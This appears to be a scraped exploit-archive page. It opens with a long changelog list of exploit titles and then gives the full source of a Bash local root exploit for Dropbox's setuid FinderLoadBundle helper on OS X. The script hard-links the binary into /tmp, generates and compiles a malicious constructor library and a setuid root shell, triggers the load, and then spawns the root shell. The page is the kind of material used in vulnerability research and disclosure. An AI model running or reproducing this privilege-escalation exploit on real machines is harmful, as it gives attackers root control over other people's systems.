
395 changes to exploits/shellcodes EO Video 1.36 - Local Heap Overflow Denial of Service / (PoC) Electronics Workbench - '.ewb' Local Stack Overflow (PoC) BulletProof FTP Client 2.63 - Local Heap Overflow (PoC) Easy Web Password 1.2 - Local Heap Memory Consumption (PoC) Compface 1.5.2 - '.xbm' Local Buffer Overflow (PoC) eEye Retina WiFi Security Scanner 1.0 - '.rws Parsing' Buffer Overflow (PoC) Zortam MP3 Media Studio 9.40 - Multiple Memory Corruption Vulnerabilities ImTOO MPEG Encoder 3.1.53 - '.cue' / '.m3u' Local Buffer Overflow (PoC) ZoIPer 2.22 - Call-Info Remote Denial of Service PHP < 5.3.1 - 'MultiPart/form-data' Denial of Service PHP - MultiPart Form-Data Denial of Service (PoC) PHP < 5.3.1 - 'MultiPart/form-data' Denial of Service PHP - MultiPart Form-Data Denial of Service (PoC) Nuked KLan 1.7.7 & SP4 - Denial of Service AIC Audio Player 1.4.1.587 - Local Crash (PoC) Xerox 4595 - Denial of Service WinMerge 2.12.4 - Project File Handling Stack Overflow Acoustica Mixcraft 1.00 - Local Crash SopCast 3.4.7 - 'sop://' URI Handling Remote Stack Buffer Overflow (PoC) Oreans WinLicense 2.1.8.0 - XML File Handling Memory Corruption Spotify 0.8.2.610 - search func Memory Exhaustion Apple iTunes 10.6.1.7 - '.m3u' Walking Heap Buffer Overflow (PoC) WaveSurfer 1.8.8p4 - Memory Corruption (PoC) DIMIN Viewer 5.4.0 - Crash (PoC) FreeVimager 4.1.0 - Crash (PoC) DIMIN Viewer 5.4.0 - Crash (PoC) FreeVimager 4.1.0 - Crash (PoC) CoolPlayer+ Portable 2.19.4 - Local Buffer Overflow Light Audio Player 1.0.14 - Memory Corruption (PoC) Image Transfer IOS - Remote Crash (PoC) Larson VizEx Reader 9.7.5 - Local Buffer Overflow (SEH) VUPlayer 2.49 - '.cue' Universal Buffer Overflow Apple Mac OSX xnu 1228.x - 'hfs-fcntl' Kernel Privilege Escalation IBM AIX 5.3 - 'libc' MALLOCDEBUG File Overwrite Hex Workshop 4.23/5.1/6.0 - '.hex' Universal Local Buffer Overflow (SEH) Soritong MP3 Player 1.0 - '.m3u' / UI.txt Universal Local Buffer Overflow Adobe Acrobat/Reader < 7.1.1/8.1.3/9.1 - Collab getIcon Universal Millenium MP3 Studio - '.pls' / '.mpf' / '.m3u' Universal Local Buffer Overflow (SEH) Alleycode HTML Editor 2.2.1 - Local Buffer Overflow GPG2/Kleopatra 2.0.11 - Malformed Certificate Free WMA MP3 Converter 1.1 - '.wav' Local Buffer Overflow OtsTurntables Free 1.00.047 - '.olf' Universal Buffer Overflow Watermark Master 2.2.23 - '.wstyle' Local Buffer Overflow (SEH) Dropbox < 3.3.x - OSX FinderLoadBundle Privilege Escalation MySQL / MariaDB / PerconaDB 5.5.51/5.6.32/5.7.14 - Code Execution / Privilege Escalation eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (1) eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (2) eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (1) eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (2) eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (3) QK SMTP 3.01 - 'RCPT TO' Remote Buffer Overflow (2) CA BrightStor ARCserve - 'msgeng.exe' Remote Stack Overflow quickshare file share 1.2.1 - Directory Traversal (1) SPlayer 3.7 (build 2055) - Remote Buffer Overflow Acunetix 8 build 20120704 - Remote Stack Overflow Omeka 2.2.1 - Remote Code Execution D-Link DSL-2740R - Remote DNS Change D-Link DSL-2730U/2750U/2750E ADSL Router - Remote File Disclosure Netgear JNR1010 ADSL Router - (Authenticated) Remote File Disclosure D-Link DSL-2730U/2750U/2750E ADSL Router - Remote File Disclosure Netgear JNR1010 ADSL Router - (Authenticated) Remote File Disclosure Websphere/JBoss/OpenNMS/Symantec Endpoint Protection Manager - Java Deserialization Remote Code Execution TorrentTrader 1.0 RC2 - SQL Injection WEBInsta CMS 0.3.1 - 'templates_dir' Remote File Inclusion MiniPort@l 0.1.5 Beta - 'skiny' Remote File Inclusion PHP DocWriter 0.3 - 'script' Remote File Inclusion phpBB Journals System Mod 1.0.2 RC2 - Remote File Inclusion phpBB SpamBlocker Mod 1.0.2 - Remote File Inclusion RSSonate - 'xml2rss.php' Remote File Inclusion CASTOR 1.1.1 - '/lib/rs.php' Remote File Inclusion RSSonate - 'xml2rss.php' Remote File Inclusion CASTOR 1.1.1 - '/lib/rs.php' Remote File Inclusion QnECMS 2.5.6 - 'adminfolderpath' Remote File Inclusion BrewBlogger 1.3.1 - 'printLog.php' SQL Injection e-Ark 1.0 - '/src/ark_inc.php' Remote File Inclusion awrate.com Message Board 1.0 - 'search.php' Remote File Inclusion Tucows Client Code Suite (CSS) 1.2.1015 - Remote File Inclusion Gizzar 03162002 - 'index.php' Remote File Inclusion SH-News 0.93 - 'misc.php' Remote File Inclusion JSBoard 2.0.10 - 'login.php?table' Local File Inclusion XOOPS Module WF-Links 1.03 - 'cid' SQL Injection Scorp Book 1.0 - 'smilies.php?config' Remote File Inclusion WEBInsta FM 0.1.4 - 'login.php' absolute_path Remote File Inclusion mxBB Module FAQ & RULES 2.0.0 - Remote File Inclusion EQdkp 1.3.2 - 'listmembers.php' SQL Injection FlashBB 1.1.8 - 'sendmsg.php' Remote File Inclusion SimpleBlog 3.0 - 'comments_get.asp?id' SQL Injection Pakupaku CMS 0.4 - Arbitrary File Upload / Local File Inclusion CCMS 3.1 Demo - SQL Injection MoinMoin 1.5.x - 'MOIND_ID' Cookie Login Bypass BlogPHP 2 - 'id' Cross-Site Scripting / SQL Injection AuraCMS 1.62 - Multiple SQL Injections sCssBoard (Multiple Versions) - 'pwnpack' Remote s EasyNews 40tr - SQL Injection / Cross-Site Scripting / Local File Inclusion RevokeBB 1.0 RC11 - 'Search' SQL Injection Galatolo Web Manager 1.0 - Cross-Site Scripting / Local File Inclusion CaupoShop Classic 1.3 - 'saArticle[ID]' SQL Injection PHPortal 1.2 - Multiple Remote File Inclusions Libera CMS 1.12 - 'cookie' SQL Injection Zanfi CMS lite 2.1 / Jaw Portal free - 'FCKeditor' Arbitrary File Upload WCMS 1.0b - Arbitrary Add Admin FOSS Gallery Admin 1.0 - Arbitrary File Upload MemHT Portal 4.0.1 - SQL Injection / Code Execution Mediatheka 4.2 - Blind SQL Injection Pligg 9.9.5b - Arbitrary File Upload / SQL Injection XOOPS 2.3.2 - 'mydirname' PHP Remote Code Execution Joomla! Component Casino 0.3.1 - Multiple SQL Injections s ZeusCart 2.3 - 'maincatid' SQL Injection ASP Football Pool 2.3 - Remote Database Disclosure LightNEasy sql/no-db 2.2.x - System Configuration Disclosure Zen Cart 1.3.8 - Remote Code Execution Joomla! Component com_pinboard - 'task' SQL Injection Joomla! Component com_bookflip - 'book_id' SQL Injection Messages Library 2.0 - Arbitrary Delete Message Arab Portal 2.2 - Blind Cookie Authentication Bypass Joomla! Plugin JD-WordPress 2.0 RC2 - Remote File Inclusion REZERVI 3.0.2 - Remote Command Execution Joomla! Component BF Quiz 1.0 - SQL Injection (2) E-Xoopport Samsara 3.1 (eCal Module) - Blind SQL Injection AJ Matrix DNA - SQL Injection Joomla! Component JE Story Submit - Local File Inclusion CF Image Hosting Script 1.3.82 - File Disclosure hastymail2 webmail 1.1 rc2 - Persistent Cross-Site Scripting CMSLogik 1.2.1 - Multiple Vulnerabilities C.P.Sub 4.5 - Authentication Bypass WordPress Plugin Slideshow Gallery 1.4.6 - Arbitrary File Upload Joomla! Component com_hdflvplayer < 2.1.0.1 - SQL Injection WordPress Plugin WP Symposium 14.11 - Arbitrary File Upload PHPMailer < 5.2.20 - Remote Code Execution phpIPAM 1.4 - SQL Injection Joomla! 3.9.0 < 3.9.7 - CSV Injection
195 lines
No EOL
6.5 KiB
Bash
Executable file
195 lines
No EOL
6.5 KiB
Bash
Executable file
#!/bin/bash
|
|
|
|
# Exploit Title: Dropbox FinderLoadBundle OS X local root exploit
|
|
# Google Dork: N/A
|
|
# Date: 29/09/15
|
|
# Exploit Author: cenobyte
|
|
# Vendor Homepage: https://www.dropbox.com
|
|
# Software Link: N/A
|
|
# Version: Dropbox 1.5.6, 1.6-7.*, 2.1-11.*, 3.0.*, 3.1.*, 3.3.*
|
|
# Tested on: OS X Yosemite (10.10.5)
|
|
# CVE: N/A
|
|
|
|
#
|
|
# Dropbox FinderLoadBundle OS X local root exploit by cenobyte 2015
|
|
# <vincitamorpatriae@gmail.com>
|
|
#
|
|
# - vulnerability description:
|
|
# The setuid root FinderLoadBundle that was included in older DropboxHelperTools
|
|
# versions for OS X allows loading of dynamically linked shared libraries
|
|
# that are residing in the same directory. The directory in which
|
|
# FinderLoadBundle is located is owned by root and that prevents placing
|
|
# arbitrary files there. But creating a hard link from FinderLoadBundle to
|
|
# somewhere in a directory in /tmp circumvents that protection thus making it
|
|
# possible to load a shared library containing a payload which creates a root
|
|
# shell.
|
|
#
|
|
# - vulnerable versions: | versions not vulnerable:
|
|
# Dropbox 3.3.* for Mac | Dropbox 3.10.* for Mac
|
|
# Dropbox 3.1.* for Mac | Dropbox 3.9.* for Mac
|
|
# Dropbox 3.0.* for Mac | Dropbox 3.8.* for Mac
|
|
# Dropbox 2.11.* for Mac | Dropbox 3.7.* for Mac
|
|
# Dropbox 2.10.* for Mac | Dropbox 3.6.* for Mac
|
|
# Dropbox 2.9.* for Mac | Dropbox 3.5.* for Mac
|
|
# Dropbox 2.8.* for Mac | Dropbox 3.4.* for Mac
|
|
# Dropbox 2.7.* for Mac | Dropbox 3.2.* for Mac
|
|
# Dropbox 2.6.* for Mac | Dropbox 1.5.1-5 for Mac
|
|
# Dropbox 2.5.* for Mac | Dropbox 1.4.* for Mac
|
|
# Dropbox 2.4.* for Mac | Dropbox 1.3.* for Mac
|
|
# Dropbox 2.3.* for Mac |
|
|
# Dropbox 2.2.* for Mac |
|
|
# Dropbox 2.1.* for Mac |
|
|
# Dropbox 1.7.* for Mac |
|
|
# Dropbox 1.6.* for Mac |
|
|
# Dropbox 1.5.6 for Mac |
|
|
#
|
|
# The vulnerability was fixed in newer DropboxHelperTools versions as of 3.4.*.
|
|
# However, there is no mention of this issue at the Dropbox release notes:
|
|
# https://www.dropbox.com/release_notes
|
|
#
|
|
# It seems that one of the fixes implemented in FinderLoadBundle is a
|
|
# check whether the path of the bundle is a root owned directory making it
|
|
# impossible to load arbitrary shared libraries as a non-privileged user.
|
|
#
|
|
# I am not sure how to find the exact version of the FinderLoadBundle executable
|
|
# but the included Info.plist contained the following key:
|
|
# <key>CFBundleShortVersionString</key>
|
|
# This key is no longer present in the plist file of the latest version. So I
|
|
# included a basic vulnerable version checker that checks for the presence of
|
|
# this key.
|
|
#
|
|
# - exploit details:
|
|
# I wrote this on OS X Yosemite (10.10.5) but there are no OS specific features
|
|
# used. This exploit relies on Xcode for the shared library + root shell to be
|
|
# compiled. After successful exploitation a root shell is left in a directory in
|
|
# /tmp so make sure you delete it on your own system when you are done testing.
|
|
#
|
|
# - example:
|
|
# $ ./dropboxfinderloadbundle.sh
|
|
# Dropbox FinderLoadBundle OS X local root exploit by cenobyte 2015
|
|
#
|
|
# [-] creating temporary directory: /tmp/c7a15893fc1b28d31071c16c6663cbf3
|
|
# [-] linking /Library/DropboxHelperTools/Dropbox_u501/FinderLoadBundle
|
|
# [-] constructing bundle
|
|
# [-] creating /tmp/c7a15893fc1b28d31071c16c6663cbf3/boomsh.c
|
|
# [-] compiling root shell
|
|
# [-] executing FinderLoadBundle using root shell payload
|
|
# [-] entering root shell
|
|
# bash-3.2# id -P
|
|
# root:********:0:0::0:0:System Administrator:/var/root:/bin/sh
|
|
|
|
readonly __progname=$(basename $0)
|
|
|
|
errx() {
|
|
echo "$__progname: $@" >&2
|
|
exit 1
|
|
}
|
|
|
|
main() {
|
|
local -r tmp=$(head -10 /dev/urandom | md5)
|
|
local -r helpertools="/Library/DropboxHelperTools"
|
|
local -r bundle="/tmp/$tmp/mach_inject_bundle_stub.bundle/Contents/MacOS"
|
|
local -r bundletarget="$bundle/mach_inject_bundle_stub"
|
|
local -r bundlesrc="${bundletarget}.c"
|
|
local -r sh="/tmp/$tmp/boomsh"
|
|
local -r shsrc="${sh}.c"
|
|
local -r cfversion="CFBundleShortVersionString"
|
|
local -r findbin="FinderLoadBundle"
|
|
|
|
echo "Dropbox $findbin OS X local root exploit by cenobyte 2015"
|
|
echo
|
|
|
|
uname -v | grep -q ^Darwin || \
|
|
errx "this Dropbox exploit only works on OS X"
|
|
|
|
[ ! -d "$helpertools" ] && \
|
|
errx "$helpertools does not exist"
|
|
|
|
which -s gcc || \
|
|
errx "gcc not found"
|
|
|
|
found=0
|
|
for finder in $(ls $helpertools/Dropbox_u*/$findbin); do
|
|
stat -s "$finder" | grep -q "st_mode=0104"
|
|
if [ $? -eq 0 ]; then
|
|
found=1
|
|
break
|
|
fi
|
|
done
|
|
|
|
[ $found -ne 1 ] && \
|
|
errx "couldn't find a setuid root $findbin"
|
|
|
|
local -r finderdir=$(dirname $finder)
|
|
local -r plist="${finderdir}/DropboxBundle.bundle/Contents/Info.plist"
|
|
|
|
[ -f "$plist" ] || \
|
|
errx "FinderLoadBundle not vulnerable (cannot open $plist)"
|
|
|
|
grep -q "<key>$cfversion</key>" "$plist" || \
|
|
errx "FinderLoadBundle not vulnerable (plist missing $cfversion)"
|
|
|
|
echo "[-] creating temporary directory: /tmp/$tmp"
|
|
mkdir /tmp/$tmp || \
|
|
errx "couldn't create /tmp/$tmp"
|
|
|
|
echo "[-] linking $finder"
|
|
ln "$finder" "/tmp/$tmp/$findbin" || \
|
|
errx "ln $finder /tmp/$tmp/$findbin failed"
|
|
|
|
echo "[-] constructing bundle"
|
|
mkdir -p "$bundle" || \
|
|
errx "cannot create $bundle"
|
|
|
|
echo "#include <sys/stat.h>" > "$bundlesrc"
|
|
echo "#include <sys/types.h>" >> "$bundlesrc"
|
|
echo "#include <stdlib.h>" >> "$bundlesrc"
|
|
echo "#include <unistd.h>" >> "$bundlesrc"
|
|
echo "extern void init(void) __attribute__ ((constructor));" >> "$bundlesrc"
|
|
echo "void init(void)" >> "$bundlesrc"
|
|
echo "{" >> "$bundlesrc"
|
|
echo " setuid(0);" >> "$bundlesrc"
|
|
echo " setgid(0);" >> "$bundlesrc"
|
|
echo " chown(\"$sh\", 0, 0);" >> "$bundlesrc"
|
|
echo " chmod(\"$sh\", S_ISUID|S_IRWXU|S_IXGRP|S_IXOTH);" >> "$bundlesrc"
|
|
echo "}" >> "$bundlesrc"
|
|
|
|
echo "[-] creating $shsrc"
|
|
echo "#include <unistd.h>" > "$shsrc"
|
|
echo "#include <stdio.h>" >> "$shsrc"
|
|
echo "#include <stdlib.h>" >> "$shsrc"
|
|
echo "int" >> "$shsrc"
|
|
echo "main()" >> "$shsrc"
|
|
echo "{" >> "$shsrc"
|
|
echo " setuid(0);" >> "$shsrc"
|
|
echo " setgid(0);" >> "$shsrc"
|
|
echo " system(\"/bin/bash\");" >> "$shsrc"
|
|
echo " return(0);" >> "$shsrc"
|
|
echo "}" >> "$shsrc"
|
|
|
|
echo "[-] compiling root shell"
|
|
gcc "$shsrc" -o "$sh" || \
|
|
errx "gcc failed for $shsrc"
|
|
|
|
gcc -dynamiclib -o "$bundletarget" "$bundlesrc" || \
|
|
errx "gcc failed for $bundlesrc"
|
|
|
|
echo "[-] executing $findbin using root shell payload"
|
|
cd "/tmp/$tmp"
|
|
./$findbin mach_inject_bundle_stub.bundle 2>/dev/null 1>/dev/null
|
|
[ $? -ne 4 ] && \
|
|
errx "exploit failed, $findbin seems not vulnerable"
|
|
|
|
[ ! -f "$sh" ] && \
|
|
errx "$sh was not created, exploit failed"
|
|
|
|
stat -s "$sh" | grep -q "st_mode=0104" || \
|
|
errx "$sh was not set to setuid root, exploit failed"
|
|
echo "[-] entering root shell"
|
|
|
|
"$sh"
|
|
}
|
|
|
|
main "$@"
|
|
|
|
exit 0 |